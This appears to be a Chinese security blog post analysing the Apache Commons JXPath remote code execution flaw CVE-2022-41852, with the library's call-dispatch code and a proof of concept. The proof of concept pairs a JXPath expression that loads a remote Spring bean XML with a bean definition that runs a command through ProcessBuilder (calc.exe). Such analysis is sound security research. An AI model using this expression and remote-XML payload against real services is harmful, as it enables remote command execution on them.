CVE-2022-41852 Apache Commons JXPath 远程代码执行漏洞

前言

看起来是个远古依赖,但是近期才曝出漏洞来。


环境搭建

新建项目,在maven仓库里找到相关依赖:

可以看到这是08年最后更新的项目,然而直接相关的漏洞甚至有CVE-2022-41852,下载依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
<dependency>
<groupId>commons-jxpath</groupId>
<artifactId>commons-jxpath</artifactId>
<version>1.3</version>
</dependency>

根据参考文章,该漏洞发生在使用JXPath执行恶意表达式时,测试用代码:

1
2
JXPathContext context = JXPathContext.newContext(null);
context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");

漏洞分析

运行测试用代码可以发现这个类ClassPathXmlApplicationContext并不存在于环境中,说明这种利用方式还需要一个别的依赖。

依赖暂且不提,先看看JXPathContext.getValue具体是个什么样的流程,根据流程发现输入的表达式被解析为了一次函数调用,找到PackageFunctions类的getFunction函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
String className = fullName.substring(0, inx);
String methodName = fullName.substring(inx + 1);

Class functionClass;
try {
functionClass = Class.forName(className);
}
catch (ClassNotFoundException ex) {
throw new JXPathException(
"Cannot invoke extension function "
+ (namespace != null ? namespace + ":" + name : name),
ex);
}

加载类后调用函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (methodName.equals("new")) {
Constructor constructor =
MethodLookupUtils.lookupConstructor(functionClass, parameters);
if (constructor != null) {
return new ConstructorFunction(constructor);
}
}
else {
Method method =
MethodLookupUtils.lookupStaticMethod(
functionClass,
methodName,
parameters);
if (method != null) {
return new MethodFunction(method);
}
}

看到这里有调用构造函数和静态函数两种行为,所以Runtime和TemplatesImpl这些类就用不了了。同时由于这种调用链可控的只有输入参数,所以不容易找到合适的代码执行/命令执行点,想要利用最合适的还是找到RMI、JNDI等等可以从外面加载数据的方式。

Naming类下面倒是有一个静态的lookup函数可以调用:

1
2
3
4
5
6
ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);

if (parsed.name == null)
return registry;
return registry.lookup(parsed.name);

看起来可以通过RMI完成利用。

漏洞利用

补充一个spring-context-support依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.25</version>
</dependency>

放一个xml到tomcat目录下并启动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="twings" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

可以看到弹出了计算器,利用成功。

看一下ClassPathXmlApplicationContext类,这个类在实例化后会refresh并加载远程配置文件,再根据配置文件中的constructor-arg实例化主体对象,最后根据init-method调用初始化函数。

漏洞修复

好像没看到修复版本。


参考

Apache Commons JXPath 远程代码执行(CVE-2022-41852)


CVE-2022-41852 Apache Commons JXPath 远程代码执行漏洞
http://yoursite.com/2023/02/04/CVE-2022-41852-Apache-Commons-JXPath-远程代码执行漏洞/
作者
Aluvion
发布于
2023年2月4日
许可协议